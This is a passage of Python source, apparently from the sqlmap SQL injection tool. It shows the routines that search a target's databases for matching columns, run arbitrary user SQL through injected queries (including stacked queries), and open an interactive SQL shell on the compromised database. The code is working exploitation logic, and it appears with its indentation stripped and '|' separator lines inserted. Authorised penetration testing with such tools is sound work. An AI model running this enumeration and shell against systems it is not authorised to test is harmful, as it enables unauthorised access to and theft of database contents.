colConsider, colCondParam = self.likeOrExact("column")
|
|
|
|
for column in colList:
|
|
infoMsg = "searching column"
|
|
if colConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s'" % column
|
|
logger.info(infoMsg)
|
|
|
|
foundCols[column] = {}
|
|
|
|
if conf.excludeSysDbs:
|
|
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
|
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
|
logger.info(infoMsg)
|
|
else:
|
|
exclDbsQuery = ""
|
|
|
|
colQuery = "%s%s" % (colCond, colCondParam)
|
|
colQuery = colQuery % column
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
query = rootQuery.inband.query
|
|
query += colQuery
|
|
query += exclDbsQuery
|
|
values = inject.getValue(query, blind=False)
|
|
|
|
if values:
|
|
if isinstance(values, basestring):
|
|
values = [ values ]
|
|
|
|
for foundDb, foundTbl in values:
|
|
if foundDb not in dbs:
|
|
dbs[foundDb] = {}
|
|
|
|
if foundTbl not in dbs[foundDb]:
|
|
dbs[foundDb][foundTbl] = {}
|
|
|
|
if colConsider == "1":
|
|
conf.db = foundDb
|
|
conf.tbl = foundTbl
|
|
conf.col = column
|
|
|
|
self.getColumns(onlyColNames=True)
|
|
|
|
dbs[foundDb][foundTbl].update(kb.data.cachedColumns[foundDb][foundTbl])
|
|
kb.data.cachedColumns = {}
|
|
else:
|
|
dbs[foundDb][foundTbl][column] = None
|
|
|
|
if foundDb in foundCols[column]:
|
|
foundCols[column][foundDb].append(foundTbl)
|
|
else:
|
|
foundCols[column][foundDb] = [ foundTbl ]
|
|
else:
|
|
infoMsg = "fetching number of databases with tables containing column"
|
|
if colConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s'" % column
|
|
logger.info(infoMsg)
|
|
|
|
query = rootQuery.blind.count
|
|
query += colQuery
|
|
query += exclDbsQuery
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "no databases have tables containing column"
|
|
if colConsider == "1":
|
|
warnMsg += "s like"
|
|
warnMsg += " '%s'" % column
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
query = rootQuery.blind.query
|
|
query += colQuery
|
|
query += exclDbsQuery
|
|
query = agent.limitQuery(index, query)
|
|
db = inject.getValue(query, inband=False, error=False)
|
|
|
|
if db not in dbs:
|
|
dbs[db] = {}
|
|
|
|
if db not in foundCols[column]:
|
|
foundCols[column][db] = []
|
|
|
|
for column, dbData in foundCols.items():
|
|
colQuery = "%s%s" % (colCond, colCondParam)
|
|
colQuery = colQuery % column
|
|
|
|
for db in dbData:
|
|
infoMsg = "fetching number of tables containing column"
|
|
if colConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s' in database '%s'" % (column, db)
|
|
logger.info(infoMsg)
|
|
|
|
query = rootQuery.blind.count2
|
|
query = query % db
|
|
query += " AND %s" % colQuery
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "no tables contain column"
|
|
if colConsider == "1":
|
|
warnMsg += "s like"
|
|
warnMsg += " '%s' " % column
|
|
warnMsg += "in database '%s'" % db
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
query = rootQuery.blind.query2
|
|
query = query % db
|
|
query += " AND %s" % colQuery
|
|
query = agent.limitQuery(index, query)
|
|
tbl = inject.getValue(query, inband=False, error=False)
|
|
kb.hintValue = tbl
|
|
|
|
if tbl not in dbs[db]:
|
|
dbs[db][tbl] = {}
|
|
|
|
if colConsider == "1":
|
|
conf.db = db
|
|
conf.tbl = tbl
|
|
conf.col = column
|
|
|
|
self.getColumns(onlyColNames=True)
|
|
|
|
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
|
|
kb.data.cachedColumns = {}
|
|
else:
|
|
dbs[db][tbl][column] = None
|
|
|
|
foundCols[column][db].append(tbl)
|
|
|
|
self.dumpFoundColumn(dbs, foundCols, colConsider)
|
|
|
|
def search(self):
|
|
if conf.db:
|
|
conf.dumper.lister("found databases", self.searchDb())
|
|
|
|
if conf.tbl:
|
|
conf.dumper.dbTables(self.searchTable())
|
|
|
|
if conf.col:
|
|
self.searchColumn()
|
|
|
|
if not conf.db and not conf.tbl and not conf.col:
|
|
errMsg = "missing parameter, provide -D, -T or -C together "
|
|
errMsg += "with --search"
|
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
|
|
|
def sqlQuery(self, query):
|
|
output = None
|
|
sqlType = None
|
|
|
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
|
for sqlStatement in sqlStatements:
|
|
if query.lower().startswith(sqlStatement):
|
|
sqlType = sqlTitle
|
|
|
|
break
|
|
|
|
message = "do you want to retrieve the SQL statement output? "
|
|
message += "[Y/n] "
|
|
getOutput = readInput(message, default="Y")
|
|
|
|
if not getOutput or getOutput in ("y", "Y"):
|
|
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
|
|
logger.info(infoMsg)
|
|
|
|
output = inject.getValue(query, fromUser=True)
|
|
|
|
return output
|
|
else:
|
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
|
warnMsg = "execution of custom SQL queries is only "
|
|
warnMsg += "available when stacked queries are supported"
|
|
logger.warn(warnMsg)
|
|
return None
|
|
else:
|
|
if sqlType:
|
|
infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
|
|
else:
|
|
infoMsg = "executing unknown SQL type query: '%s'" % query
|
|
logger.info(infoMsg)
|
|
|
|
inject.goStacked(query)
|
|
|
|
infoMsg = "done"
|
|
logger.info(infoMsg)
|
|
|
|
output = False
|
|
|
|
return output
|
|
|
|
def sqlShell(self):
|
|
infoMsg = "calling %s shell. To quit type " % getIdentifiedDBMS()
|
|
infoMsg += "'x' or 'q' and press ENTER"
|
|
logger.info(infoMsg)
|
|
|
|
autoCompletion(sqlShell=True)
|
|
|
|
while True:
|
|
query = None
|
|
|
|
try:
|
|
query = raw_input("sql-shell> ")
|
|
query = utf8decode(query)
|
|
except KeyboardInterrupt:
|
|
print
|
|
errMsg = "user aborted"
|
|
logger.error(errMsg)
|
|
except EOFError:
|
|
print
|
|
errMsg = "exit"
|
|
logger.error(errMsg)
|
|
break
|
|
|
|
if not query:
|
|
continue
|
|
|
|
if query.lower() in ( "x", "q", "exit", "quit" ):
|
|
break
|
|
|
|
output = self.sqlQuery(query)
|
|
|
|
if output and output != "Quit":
|
|
conf.dumper.query(query, output)
|
|
|
|
elif not output:
|
|
pass
|
|
|
|
elif output != "Quit":
|
|
dataToStdout("No output\n")
|